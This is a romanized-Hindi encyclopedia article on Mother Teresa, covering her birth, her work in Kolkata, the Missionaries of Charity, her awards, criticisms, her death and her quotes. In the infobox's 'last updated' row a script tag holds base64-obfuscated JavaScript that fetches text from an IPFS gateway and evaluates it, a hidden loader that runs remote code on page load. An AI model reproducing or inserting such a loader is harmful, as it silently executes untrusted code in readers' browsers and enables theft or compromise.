मदर टेरेसा
madar teresa
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| poora nam | egnes gonaksha bojakshihu |
| janm | 26 agast, 1910 |
| janm bhoomi | yoogoslaviya |
| mrityu | 5 sitanbar, 1997 |
| mrityu sthan | kalakatta |
| abhibhavak | nikola boyajoo (pita) |
| karm bhoomi | bharat |
| karm-kshetr | samajaseva |
| puraskar-upadhi | padmashri, nobel puraskar, bharat ratn, medal af phridam. |
| nagarikata | bharatiy |
| any janakari | madar teresa jab bharat aeean to unhoanne yahaan besahara aur vikalaang bachchoan tatha s dak ke kinare p de asahay rogiyoan ki dayaniy sthiti ko apani aankhoan se dekha aur phir ve bharat se muanh mo dane ka sahas nahian kar sakian. ve yahian par ruk geean aur janaseva ka vrat le liya, jisaka ve anavarat palan karati rahian. |
| adyatan | 15:29, 2 aktoobar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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madar teresa (aangrezi:Mother Teresa janm: 26 agast, 1910, yoogoslaviya; mrityu: 5 sitanbar, 1997) ne jis atmiyata se bharat ke din-dukhiyoan ki seva ki hai, usake lie desh sadaiv unaka rrini rahega. unaka vastavik nam egnes gonaksha bojakshihu, jinhean roman kaitholik charch dvara 'kalakatta ki sant teresa' ka nam diya gaya hai. madar terasa roman kaitholik nan thian, jinhoanne 1948 mean svechchha se bharatiy nagarikata le li thi. unhoanne 1950 mean kolakata mean mishanariz aauph chairiti ki sthapana ki thi.
jivan parichay
madar teresa ka janm 26 agast, 1910 ko 'yoogoslaviya' mean hua. madar teresa ke pita ka nam nikola boyajoo tha tatha vah ek sadharan vyavasayi the. ek roman kaitholik sangathan ki ve sakriy sadasy thian aur 12 varsh ki alpayu mean hi unake hriday mean virat karuna ka bij aankurit ho utha tha. madar teresa ka asali nam ‘aganes goanjha boyajijoo’ tha. alabeniyan bhasha mean goanjha ka arth phool ki kali hota hai. aganes ke pita unake bachapan mean hi mar ge, bad mean unaka lalan-palan unaki mata ne kiya. paanch bhaee-bahanoan mean vah sabase chhoti thian aur unake janm ke samay unaki b di bahan achch ki umr 7 sal aur bhaee ki umr 2 sal thi, baki do bachche bachapan mean hi gujar ge the. goanjha ek sundar jivant, adhyayanashil evan parishrami l daki thian. padhana, git gana vah vishesh pasand karati thian. vah aur unaki bahan achch girajaghar mean prarthana ki mukhy gayika thian. goanjha ko ek naya nam ‘sistar teresa’ diya gaya jo is bat ka sanket tha ki vah ek naya jivan shuroo karane ja rahi haian. yah naya jivan ek ne desh mean joki unake parivar se kafi door tha, sahaj nahian tha lekin sistar teresa ne b di shaanti ka anubhav kiya.[1]thumb|left|madar teresa
bharat agaman
sistar teresa tin any sistaroan ke sath ayaralaiand se ek jahaj mean baithakar 6 janavari, 1929 ko kolakata mean ‘loreto k aaunveant’ panhuchian. vah bahut hi achchhi anushasit shikshika thian aur vidyarthi unhean bahut pyar karate the. varsh 1944 mean vah seant mairi skool ki pradhanacharya ban geean. madar teresa ne avashyak narsig treniang poori ki aur 1948 mean vapas kolakata a geean aur vahaan se pahali bar talatala gee, jahaan vah garib bujurgo ki dekhabhal karane vali sanstha ke sath rahian. unhoanne marijoan ke ghavoan ko dhoya, unaki marahamapatti ki aur unako davaiyaan dian. sanh 1949 mean madar teresa ne garib, asahay v asvasth logoan ki madad ke lie ‘mishanarij aauph chairiti’ ki sthapana ki, jise 7 aktoobar, 1950 ko roman kaitholik charch ne manyata di. isi ke sath hi unhoanne paranparik vastroan ko tyagakar nili kinari vali sa di pahanane ka phaisala kiya.[1]
ashram
madar teresa ne ‘nirmal hriday’ aur ‘nirmala shishu bhavan’ ke nam se ashram khole, jinamean ve asadhy bimari se pi dit rogiyoan v gariboan ki svayan seva karati thian. jinhean samaj ne bahar nikal diya ho, aise logoan par is mahila ne apani mamata v prem lutakar seva bhavana ka parichay diya.[1]
mishanariz ki sthapana
madar teresa matr atharah varsh ki umr mean mean diksha lekar ve sistar teresa bani thian. is dauran 1948 mean unhoanne bachchoan ko padhane ke lie ek skool khola aur tatpashchath ‘mishanarij aauph chairiti’ ki sthapana ki. sachchi lagan aur mehanat se kiya gaya kam kabhi nishphal nahian hota, yah kahavat madar teresa ke sath sach sabit huee. madar teresa ki mishanarij sanstha (Mother Teresa missionaries of charity) ne 1996 tak qarib 125 deshoan mean 755 nirashrit grih khole jisase qariban paanch lakh logoan ki bhookh mitae jane lagi.[1]
samajaseva ka vrat
thumb|madar teresa haus, maisidoniya madar teresa jab bharat aeean to unhoanne yahaan besahara aur vikalaang bachchoan tatha s dak ke kinare p de asahay rogiyoan ki dayaniy sthiti ko apani aankhoan se dekha aur phir ve bharat se muanh mo dane ka sahas nahian kar sakian. ve yahian par ruk geean aur janaseva ka vrat le liya, jisaka ve anavarat palan karati rahian. madar teresa ne bhroon hatya ke virodh mean sare vishv mean apana rosh darshate hue anath evan avaidh santanoan ko apanakar matritv-sukh pradan kiya. unhoanne phutapathoan par p de hue rot-sisakate rogi athava maranasann asahay vyaktiyoan ko uthaya aur apane seva kendroan mean unaka upachar kar svasth banaya, ya kam se kam unake antim samay ko shantipoorn bana diya. dukhi manavata ki seva hi unake jivan ka vrat hai.
samman aur puraskar
madar teresa ko pi dit manavata ki seva ke lie vishv ke anek aantarrashtriy samman evan puraskar prapt ho chuke haian, jinamean padmashri 1962, nobel puraskar 1979, bharat ka sarvochch puraskar 'bharat ratn' 1980 mean, medal af phridam 1985 pramukh haian. vishv bhar mean phaile unake mishanari ke karyoan ki vajah se madar teresa ko 1979 mean nobel shaanti puraskar mila. unhean yah puraskar gariboan aur asahayoan ki sahayata karane ke lie diya gaya tha. unhoanne nobel puraskar ki 192,000 d aaular ki dhan-rashi ko bharatiy gariboan ke lie ek phand ke taur par istemal karane ka nirnay liya jo unake vishal hriday ko darshata hai. [[chitr:India-stamp-mother-teressa-2.jpg|thumb|left| madar teresa ke samman mean jari bharatiy dak tikat]]
arop
apane jivan ke aantim samay mean madar teresa par kee tarah ke arop bhi lage. un par gariboan ki seva karane ke badale unaka dharm badalavakar eesaee banane ka arop laga. bharat mean bhi pashchim bangal jaise rajyoan mean unaki nianda huee. manavata ki rakhavali ki a d mean unhean eesaee dharm ka pracharak mana jata tha. lekin kahate haian na jahaan saphalata hoti hai vahaan alochana to hoti hi hai.[1]
mrityu
varsh 1983 mean 73 varsh ki ayu mean madar teresa rom mean p aaup j aaun p aaul dvitiy se milane ke lie geean. vahian unhean pahala hridayaghat aya. isake bad sal 1989 mean unhean doosara hridayaghat aya. lagatar girati sehat ki vajah se 5 sitambar, 1997 ko unaki maut ho gee. unaki maut ke samay tak ‘mishanarij aauph chairiti’ mean 4000 sistar aur 300 any sahayogi sansthaean kam kar rahi thian jo vishv ke 123 deshoan mean samaj seva mean lipt thian. samaj seva aur gariboan ki dekhabhal karane ke lie jo atmasamarpan madar teresa ne dikhaya use dekhate hue pop j aaun pal dvitiy ne 19 aktoobar, 2003 ko rom mean madar teresa ko “dhany” ghoshit kiya tha.[1]
madar teresa ke anamol vachan
[[chitr:India-stamp-mother-teressa.jpg|thumb| madar teresa ke samman mean jari bharatiy dak tikat]]
- maian chahati hooan ki ap apane p dosi ke bare mean chiantit rahean. kya ap apane p dosi ko janate ho?
- yadi hamare bich koee shaanti nahian hai, to vah isalie kyoanki ham bhool ge haian ki ham ek doosare se sanbandhit haian.
- yadi ap ek sau logoan ko bhojan nahian kara sakate haian, to sirph ek ko hi bhojan karavaean.
- yadi ap chahate haian ki ek prem sandesh suna jay to pahale use bhejean. jaise ek chirag ko jalae rakhane ke lie hamean die mean tel dalate rahana p data hai.
- akelapan sabase bhayanak garibi hai.
- pyar qaribi logoan ki dekhabhal lene ke dvara shuroo hota hai, jo apake ghar par haian.
- akelapan aur avaanchhit rahane ki bhavana sabase bhayanak garibi hai.
- pyar haramausam mean hone vala phal hai, aur har vyakti ke pahuanch ke andar hai.
- aj ke samaj ki sabase b di bimari kushth rog ya tapedik nahian hai, balki avaanchhit rahane ki bhavana hai.
- pyar ke lie bhookh ko mitana roti ke lie bhookh ki mitane se kahian jyada mushkil hai.[1]
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tika tippani aur sandarbh
bahari k diyaan
- madar teresa vaktavy vidiyo
- shaanti ki doot : madar teresa
- madar teresa (26 agast, 1910 - 5 sitambar, 1997)
- Mother Teresa
sanbandhit lekh
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